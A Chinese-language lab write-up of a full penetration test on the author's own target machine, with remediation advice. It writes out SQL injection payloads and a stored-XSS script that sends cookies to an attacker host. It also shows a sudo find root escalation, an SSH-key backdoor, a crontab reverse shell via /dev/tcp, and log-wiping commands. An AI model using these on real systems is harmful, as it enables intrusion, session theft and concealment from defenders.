VulnTarget-B综合靶机渗透测试实战：从信息收集到提权全流程解析

VulnTarget-B 是我搭在自己实验环境里的一台综合靶机主要用来练手渗透测试全流程。最近又完整地把它打了一遍从信息收集到内网提权、权限维持、痕迹清理都走了个遍顺手把报告整理了出来。这篇文章就相当于把“进攻路径”从头讲一遍包括踩过的坑适合刚学完基础想搞实战的同学也能给老手当个备忘录。这台靶机不是单纯一个漏洞点而是把常见的 Web 漏洞、逻辑漏洞、主机配置问题和权限维持场景揉在了一起。如果只是按部就班地扫一遍、跑一下 sqlmap那你会错过很多有意思的细节。我这次用的是纯手工加少量工具的节奏先把每一步的“为什么这么做”讲清楚再给出命令和结果这样你就算换一台靶机、换成真实授权项目也能沿用这套方法论。1. 靶场环境与信息收集1.1 靶场环境设计思路VulnTarget-B 模拟的是一个对外提供服务的销售管理平台。前端是 Nginx PHP后端有 MySQL 存业务数据另外还开了一个 Redis 和 8080 的 API 服务。这种结构贴近现实很多公司都是“Web 前端 接口层 数据库”三段式攻击面分散在多个端口上不能只盯着 80 口。我搭的时候刻意把一些安全配置做得比较“真实”比如没改默认的 Nginx 版本号保留了 backup.zip 这种敏感文件后台登录也没有做请求频率限制。同时我没有把漏洞做得很直白不是那种一进去就让你 sqlmap 打穿的类型而是要你手动探一下接口逻辑比如那些返回 JSON 的 API 路径光靠目录扫描字典不一定扫得到。这和 vulnhub 上的很多靶机是一个思路先模拟出业务功能再在里面埋雷。做渗透测试不只是找一个 RCE而是要理解这个“系统”是怎么运转的你才能找到真正可被利用的路径。1.2 全端口扫描与服务识别拿到靶场地址后第一步永远是资产发现。我先用 nmap 做了全端口扫描参数选择了-sS半开扫描和-sV版本识别nmap -sS -sV -p- -T4 -oN nmap_full.txt 192.168.xx.xx扫描结果整理的表格如下端口服务版本备注22/tcpSSHOpenSSH 7.6p1弱口令可作为后备路径80/tcpHTTPNginx 1.14.2主业务站点3306/tcpMySQLMySQL 5.7.24不应暴露到外网6379/tcpRedisRedis 3.2.1未授权访问风险8080/tcpHTTPTomcat/9.0.31API 接口服务这里有个很容易被忽略的点3306 和 6379 出现在对外端口列表里。真实业务环境里数据库和缓存服务基本不会直接绑公网 IP如果扫到了说明网络隔离做得很差。当然在靶场里这就等于多给了两条路。我还顺手跑了一下 UDP 扫描结果没有发现额外开放端口但 UDP 的扫描本身超时严重不能完全依赖结果只能说“在可观测范围内没有”。如果时间充裕建议再用nmap -sU --top-ports 100补一轮。1.3 目录扫描与指纹识别全端口扫描只是知道“哪里开了门”不知道“门里有什么”。接下来做目录扫描和指纹识别。我用的是 ffuf个人觉得它的速度比 dirsearch 快配合一个基础字典就够了ffuf -u http://192.168.xx.xx/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -o dirs_ffuf.json扫出来的关键路径有/admin后台管理系统登录页/api接口文档还是接口目录直接访问是 404但后面拼接接口名有惊喜/backup.zip备份文件下载下来有源码/upload文件上传后访问目录/robots.txt里面居然写了/admin/upload.php等于把上传点暴露了指纹识别我直接用了 whatweb顺手看了一眼响应头whatweb http://192.168.xx.xx curl -I http://192.168.xx.xxNginx 版本号直接暴露在 Server 头里PHP 版本也通过页面底部的注释暴露了。这类指纹信息对后续找精准漏洞有很大帮助比如 PHP 5.x 和 PHP 7.x 在部分函数过滤上差别很大。/backup.zip这个点很多人会轻视但它通常能直接省掉你逆向的功夫。我下载回来后发现里面有几份源码其中 database.sql 里有后台管理员账号密码的 MD5还有一个 config.php 暴露了数据库连接账号。这就是信息收集阶段最有价值的部分。1.4 攻击面排序信息收集完之后我习惯把所有发现列成一个攻击面清单再判断优先级攻击面风险等级路径Redis 未授权访问高6379若可写 crontab 或 SSH 公钥则直接 RCE文件上传高上传点可能可绕过校验SQL 注入中高业务搜索接口未做参数化备份文件泄露中管理员凭据、源码泄露API 越权中8080 接口逻辑问题优先级为什么要这么排因为渗透测试的时间窗口往往有限你要先找“确定性高、利用成本低”的那条路。Redis 未授权如果存在几步就能拿下主机即使拿不到主机权限也会在后续作为“跳板”路径保留。2. Web漏洞发现与利用2.1 SQL注入从搜索框到数据库VulnTarget-B 主站有一个销售查询页面传入参数id查询订单信息。我一开始以为它是个“普通搜索框”但手工输入单引号后页面直接报错显示You have an error in your SQL syntax。看到 SQL 报错不要急着上 sqlmap先手工确认注入点类型。我用order by判断了字段数量http://192.168.xx.xx/order.php?id1 ORDER BY 10 http://192.168.xx.xx/order.php?id1 ORDER BY 15测到 15 时报错说明字段数是 14。接下来用 union select 构造回显http://192.168.xx.xx/order.php?id-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14页面回显了第 2、7、11 位说明这些位置可以直接显示数据。我把数据库名、版本读了出来UNION SELECT 1,database(),3,4,5,6,user(),8,9,10,version(),12,13,14拿到数据库名vulntarget和当前用户rootlocalhost。权限是 root这个很关键意味着可以直接读文件或者写文件。全自动工具有时候会把简单问题复杂化尤其遇到 WAF 或者过滤机制时所以我还是先用 sqlmap 验证了一遍主要是为了快速 dump 数据sqlmap -u http://192.168.xx.xx/order.php?id1 --batch -D vulntarget --tablessqlmap扫出来管理员表里存的密码哈希我用 hashcat 跑了一个弱口令字典很快解出后台登录密码。这一步在真实测试中要谨慎因为跑哈希可能涉及大量计算资源而且在目标机器上留下大量请求日志。修复建议也很简单所有 SQL 语句都走参数化查询不要拼接字符串同时对外隐藏数据库报错信息。真实项目中你不一定总能遇到 root 权限的数据库连接串所以要形成“低权限也能利用”的思路比如通过注入点做布尔盲注、延时注入而不是只认准 union 回显。2.2 文件上传绕过拿到webshell后台登录之后我看到一个“产品图片上传”的功能。前端表单写了acceptimage/jpeg但服务端有没有做校验才是重点。我试了最基础的直接上传.php文件结果被拦了提示“文件类型不允许”。这里不能放弃经典绕过思路有好几种我逐一测试修改文件扩展名上传shell.php.jpg服务端如果只判断后缀末尾是否为图片类型就会被绕过。修改 Content-Type用 Burp Suite 拦截请求把Content-Type: image/jpeg改掉但扩展名保持.php。双写扩展名shell.php.jpg.php有些过滤函数会替换掉中间的.php双写就能绕过。上传 .htaccess 或 web.config如果目标允许可以上传.htaccess文件让当前目录下所有.jpg都当作 PHP 解析。VulnTarget-B 这个靶场只检查了Content-Type没校验文件头也没有重命名文件。我用 Burp 拦截把文件名改成shell.phpContent-Type改成image/jpeg成功上传。上传后我访问了/upload/shell.php页面空白但用蚁剑连接时确认已经解析成功。连接密码设成了cmd连接 URL 是http://192.168.xx.xx/upload/shell.php蚁剑连接成功之后我执行id看到当前用户是www-data这是一个低权限账号Web 服务能触达但系统层受限。拿到这个 shell 的整个过程约 10 分钟算是这条攻击链路的关键节点。文件上传漏洞的修复重点不是“只验证 Content-Type”而是应该校验文件真实内容、使用随机文件名、把上传目录放到 Web 根目录之外并禁止执行脚本权限。2.3 存储型XSS与Cookie劫持后台和前台都有“留言反馈”功能。我测试后发现留言未经过滤直接入库属于存储型 XSS。因为目标站没有部署 CSP所有 JS 都能执行我放了一个简易的 XSS payloadscript fetch(http://attacker_ip/steal?cookie document.cookie); /script在真实项目中attacker_ip要是你能控制日志接收的服务器。我本地起了一个 HTTP Server然后在留言区提交了这个 payload。任何打开留言板的管理员浏览器都会把 Cookie 带到我这边。问题是后台登录的会话不一定要靠 Cookie 维持如果服务端还校验了 User-Agent、IP 或 HttpOnly 标记光靠 Cookie 就不够。这个靶场的后台 Cookie 没有设置 HttpOnly所以我直接用偷到的 Cookie 替换进浏览器成功进入后台的管理员页面。存储型 XSS 的危害在于它不直接打当前用户而是打所有后来访问该页面的用户。所以它经常被用来做“钓鱼管理员”的起点比如伪造一个“系统升级请重新登录”的弹窗把管理员的账号密码也骗到手。修复方式和 dvwa 里的 low 级别完全不同不能只过滤script要前后端都做输入验证和输出编码加上 HttpOnly Cookie 和 CSP 头。2.4 越权与API未授权8080 端口跑的是一个 Tomcat API 服务我看了一眼/api路径下的接口列表发现GET /api/userinfo?id1会返回用户详情。手动改id2之后返回了另一个人的手机号、地址。这属于典型的水平越权。问题是它到底是通过什么方式判断身份的我试了删掉请求头里的Authorization字段发现接口照样返回数据说明这个接口完全没有做鉴权。网站前端没有把链接暴露出来只有接口文档里写了但接口文档本身也没有访问限制。还有一个业务逻辑漏洞订单金额字段在提交时可以被前端修改。我抓包把订单金额改成0.01提交后返回“支付成功”虽然是靶场模拟的逻辑但这种问题在真实电商系统里出现过很多次。对于 8080 端口的 API修复也分两层接口必须做身份认证与鉴权不能靠“知道 URL 的人才能访问”来防后端要对资源归属做校验不能直接信任前端传过来的用户 ID。VulnTarget-B 里这些逻辑漏洞比 SQL 注入更贴近真实业务因为纯技术漏洞现在已经越来越难打反而是业务规则上的缺陷更容易出现。3. 从Web到主机内网与提权3.1 拿到低权限后的信息收集拿 webshell 之后第一件事不是立刻提权而是继续做“主机内部的信息收集”。我从蚁剑里执行id uname -a cat /etc/passwd sudo -l ls -la /home env history关键信息很快浮出水面当前用户www-data内核版本4.15.0不要急着搜内核漏洞先看配置类/etc/passwd里有一个普通用户devsudo -l提示www-data可以无密码运行/usr/bin/find数据库连接配置里写的是 root 账号但只在 Web 层面有效不代表系统 root 权限sudo -l出现一个无密码 SUDO 条目意味着可以尝试直接提权。在这个阶段很多人会下意识去找内核漏洞但优先测配置类漏洞更稳因为内核提权有炸机风险。我在靶场里也看了一眼redis-cli能不能无密码登录结果 6379 确实可以直接连但权限受限无法写 crontab。这条路径暂时搁置作为备选。同时我还查看了一下内网网段信息ip addr ip route cat /etc/resolv.conf arp -a发现靶机还在一个/24的内网段里这为横向移动留下了空间。真实环境中Web 服务器往往就是进入内网的跳板。3.2 配置类提权sudo与SUID先试sudo -l的结果。/usr/bin/find被执行时如果带-exec参数就可以以 root 身份执行命令sudo /usr/bin/find . -exec /bin/bash \;执行后直接变成 root。整个过程不到一分钟。原理很简单find没有限制用户指定-exec而 sudo 规则又允许www-data运行它。再手工查找 SUID 文件find / -perm -us -type f 2/dev/null发现了/usr/bin/pkexec这是一个经常被利用的 SUID 程序。不过因为我已经通过 sudo 拿到 root 了就不再多绕一道但这里可以作为备选路径写进报告方便以后遇到类似环境直接回忆。对靶场而言这种配置类漏洞是最理想的不容易造成系统崩溃利用方式简单还能清晰解释原理。内核提权虽然看起来更“高端”但因为内核版本匹配问题成功率不稳定而且容易把系统打挂。3.3 提权至root执行上述命令后我验证了一下身份iduid0(root) gid0(root) groups0(root)root 权限到手后我做了几件事读取/root/flag.txt确认通关标志。查看/etc/shadow的哈希评估密码强度。检查了数据库的 root 密码是否和系统 root 复用发现没有。记录系统内核版本、系统版本、可用的编译器等信息这些都要写进报告。真正拿到 root 之后整个渗透测试的核心目标就达成了从远程 Web 漏洞出发一步步拿到系统最高权限。这个过程反映的是一条完整攻击链信息收集 - Web 漏洞利用 - 低权限 shell - 本地信息收集 - 配置错误提权 - root。3.4 内核漏洞提权的风险评估我这次没有选择内核漏洞但如果在其他靶场遇到没有配置类漏洞的情况内核漏洞也是一种思路。比如检查内核版本后在漏洞库中搜索对应的 CVE然后再找利用代码。这里必须强调风险内核利用代码有时会在提权过程中触发 panic导致目标主机重启。在授权的真实测试中如果没有明确允许不建议直接上内核 exploit最好事先和客户沟通清楚。靶场倒是无所谓随便试。4. 权限维持与痕迹清理4.1 权限维持留后门的几种方式拿到 root 后如果要评估系统的持续风险就需要模拟攻击者可能使用的权限维持手段。我在靶场里试了三种第一种SSH 公钥后门把公钥加入/root/.ssh/authorized_keysmkdir -p /root/.ssh echo ssh-rsa AAA... attackerkali /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys之后攻击者就可以直接 SSH 登录 root。这种方式胜在稳定但容易被管理员检查authorized_keys的修改时间发现。第二种计划任务反弹 shell写入/etc/crontab或者/var/spool/cron/root每隔五分钟反向连接一次。我在靶场环境里试了 crontab 写入然后用nc监听*/5 * * * * /bin/bash -c bash -i /dev/tcp/192.168.xx.xx/4444 01计划任务的问题是如果主机重启或者管理员检查 crontab很容易暴露。所以真实攻击者更喜欢用进程注入或服务劫持但这些对靶场来说有点过重。第三种落地 Web 层后门我把原来的shell.php改了文件名埋在/upload/images/目录下伪装成一张图片马的样式。之后即使管理员清掉了外层后门只要访问这个文件还能恢复到权限。同时我在 Nginx 访问日志里把它对应的路径做了过滤增加了排查难度。这里要提醒一下在真实授权测试结束后后门必须清除或者至少要写成“已确认风险建议清理”的报告项绝不能留在客户环境里。4.2 痕迹清理思路渗透测试过程中目标主机和日志服务器上会留下大量痕迹如果想要模拟真实入侵者的行为可以做基本的痕迹清理Web 访问日志删除或修改攻击 payload 对应的记录行bash_history清空MySQL 查询日志删除注入时的查询记录临时文件删除上传的脚本、下载的工具修改过的文件时间戳尽量用touch还原实际执行history -c cat /dev/null ~/.bash_history sed -i /union select/d /var/log/nginx/access.log日志清理在真实项目中是一把双刃剑清理全部日志等于在告诉管理员“这里有人进来过”反而更可疑。所以很多攻击者只删除最明显的几个记录甚至直接篡改日志字段。VulnTarget-B 里我最后采用了“快照隔离”方案把靶机环境做了一个快照然后手动清理现场重启服务确认业务恢复再写下一阶段报告。4.3 靶场环境里的“收尾”动作因为这是自己的靶场环境收尾时可以更彻底一点。我把所有上传的 webshell 删掉清空了authorized_keys、crontab 和反弹 shell 进程恢复/etc/shadow权限。之后用快照功能把“刚拿下权限”的状态保存了一份方便之后再复现测试。如果你用的是 docker-compose 搭的靶场重置更简单docker-compose down docker-compose up -d直接恢复初始状态省去手工清理的麻烦。5. 常见问题与排查实录5.1 Burp Suite 抓不到靶场请求这是新手最常遇到的问题。明明浏览器能打开靶场Burp Suite 却一片空白。我遇到的场景是直接在浏览器地址栏输入http://127.0.0.1/访问本机靶场代理默认会忽略本地地址所以抓不到包。解决办法在浏览器里安装 SwitchyOmega 之类的代理扩展把127.0.0.1、localhost也走代理或者直接把 HTTP 代理手动设为127.0.0.1:8080访问时使用靶机实际 IP比如http://192.168.xx.xx/不要用 localhost还有一种情况是靶机在虚拟机、容器里Burp Suite 在宿主机。这时代理设置没问题但虚拟网络不通。先在宿主机 ping 通靶机 IP再检查 VMware/VirtualBox 的网络模式一般用 NAT 或 Host-Only。5.2 集成环境启动失败有段时间我用 phpStudy 跑旧的靶场遇到 Apache 启动失败。查了半天才发现是 80 端口被其它服务占用了。Windows 下可以这样定位netstat -ano | findstr :80看到占用进程的 PID再去任务管理器里找到对应进程关掉后再启动。如果 443 也被占用可能被 IIS 或其它 HTTPS 服务占了需要到 phpStudy 里改端口。另外phpStudy 启动失败还经常是因为 VC 运行库缺失。老版本的集成环境对运行库要求很死报错信息里如果提示VCRUNTIME140.dll缺失装一遍 Visual C Redistributable 就行。5.3 Docker 靶场访问不了现在很多人喜欢用 Docker 搭 dvwa、pikachu。有一次我启动容器后宿主机访问不到页面排查步骤是docker ps -a docker logs container_id常见原因是端口映射没做对。启动时少了-p 8080:80这样的参数容器内的服务只能从容器内部访问。如果已经加了端口映射还不行看宿主机防火墙有没有放行。还有一个坑是容器里服务绑定的是127.0.0.1而不是0.0.0.0这样即使映射了端口也会连接失败。在容器内执行ss -lntp查看监听地址。很多人在 build 镜像时没有改配置默认就是只监听本机回环地址。5.4 改乱了靶场环境怎么重置打靶场最爽也最怕的就是“乱搞”之后环境爆炸。比如 dvwa 数据库里把管理员密码改错了登录不了。最简单的办法是重置数据库。SQLi-Labs、Upload-Labs 这类靶场一般都有初始化 SQL 文件重新执行一遍就行mysql -u root -p dvwa.sql如果是 Docker 容器直接重建docker-compose down -v docker-compose up -d加-v会把数据卷一起删掉恢复到最初状态。但注意这会清空你在靶场里创建的临时数据如果有证据需要保留先做快照再重置。5.5 工具使用心得我这次用到的工具其实不多nmap、ffuf、Burp Suite、sqlmap、蚁剑没有刻意追求“全家桶”。有些朋友喜欢集成工具包比如天狐渗透测试工具箱我用过一段时间优点是省事开箱即用缺点也很明显太依赖现成工具手写 curl、手工测 SQL 注入的能力会退化。现在也有一些 AI 辅助渗透测试的尝试能帮你生成命令、分析日志但遇到需要逻辑判断的漏洞比如越权、业务逻辑AI 目前给的建议还是容易偏理论。我的建议是把它当“速查手册”不要当“主力输出”。6. 报告撰写与复盘建议6.1 报告记录的关键要素渗透测试报告不是把命令和回显贴出来就完了。VulnTarget-B 这份报告里我给自己定了几个固定板块漏洞描述这个漏洞是什么、影响范围多大复现步骤从哪个点开始、用了什么工具或手工程序、关键请求和响应是什么危害证明是否拿数据、是否拿到服务器权限、是否影响业务修复建议针对性修复比如参数化查询、改随机文件名、收紧 SUDO 策略风险等级结合 CVSS 评分和实际业务影响调整写报告时要把每步操作的命令、时间、结果保存好。我习惯在每个阶段时用tee把终端输出存成文件效果很好。不然最后写报告时容易漏掉细节。6.2 新手如何从专项靶场过渡到综合靶场如果你现在刚学完 Web 安全基础我建议按这个顺序练DVWA适合入门漏洞类型全难度可控建议把 SQL 注入、XSS、文件上传从 low 学到 highPikachu接口和业务逻辑题更丰富适合练习“从功能中找漏洞”SQLi-Labs专练 SQL 注入能帮你把报错注入、盲注、堆叠注入理清楚Upload-Labs专练文件上传绕过是理解服务端校验的好地方XSS-Labs专练 XSS 绕过能帮你建立输出编码的意识然后才是 VulnTarget-B 这类综合靶场综合靶场和专项靶场的区别在于你需要自己决定攻击路径。专项靶场已经把“题目”列好了综合靶场更像一个没有评分标准的“小项目”需要你主动去梳理攻击面。6.3 个人经验与一句总结打完 VulnTarget-B 这种综合靶机我最大的感受是渗透测试的核心不是“会用多少个工具”而是“能不能把每一个观察到的现象串起来”。比如一个看似无关的备份文件、一个开放的 Redis 端口、一个没有鉴权的 API 接口单独看都不致命但把它们串成攻击链之后结果就是服务器 root 权限。还有一点打靶场和真实项目最大的区别在于授权边界。自己环境里可以放开手脚但在真实项目中每一步都要在授权范围内操作尤其是提权、横向移动和后续清理稍有不慎就会越界甚至造成事故。我自己踩过类似的坑曾经在一次授权测试里本来只想验证能不能写计划任务结果真把反弹 shell 启动了客户那边直接收到告警搞得非常被动。所以现在哪怕是在靶场里我也会严格遵守“最小影响”原则。这个靶场后续我还会继续升级把容器化和并发环境加进去。什么时候你打完一圈发现自己能解释每一步操作的“为什么”再回头看这份报告那才是真正值钱的时候。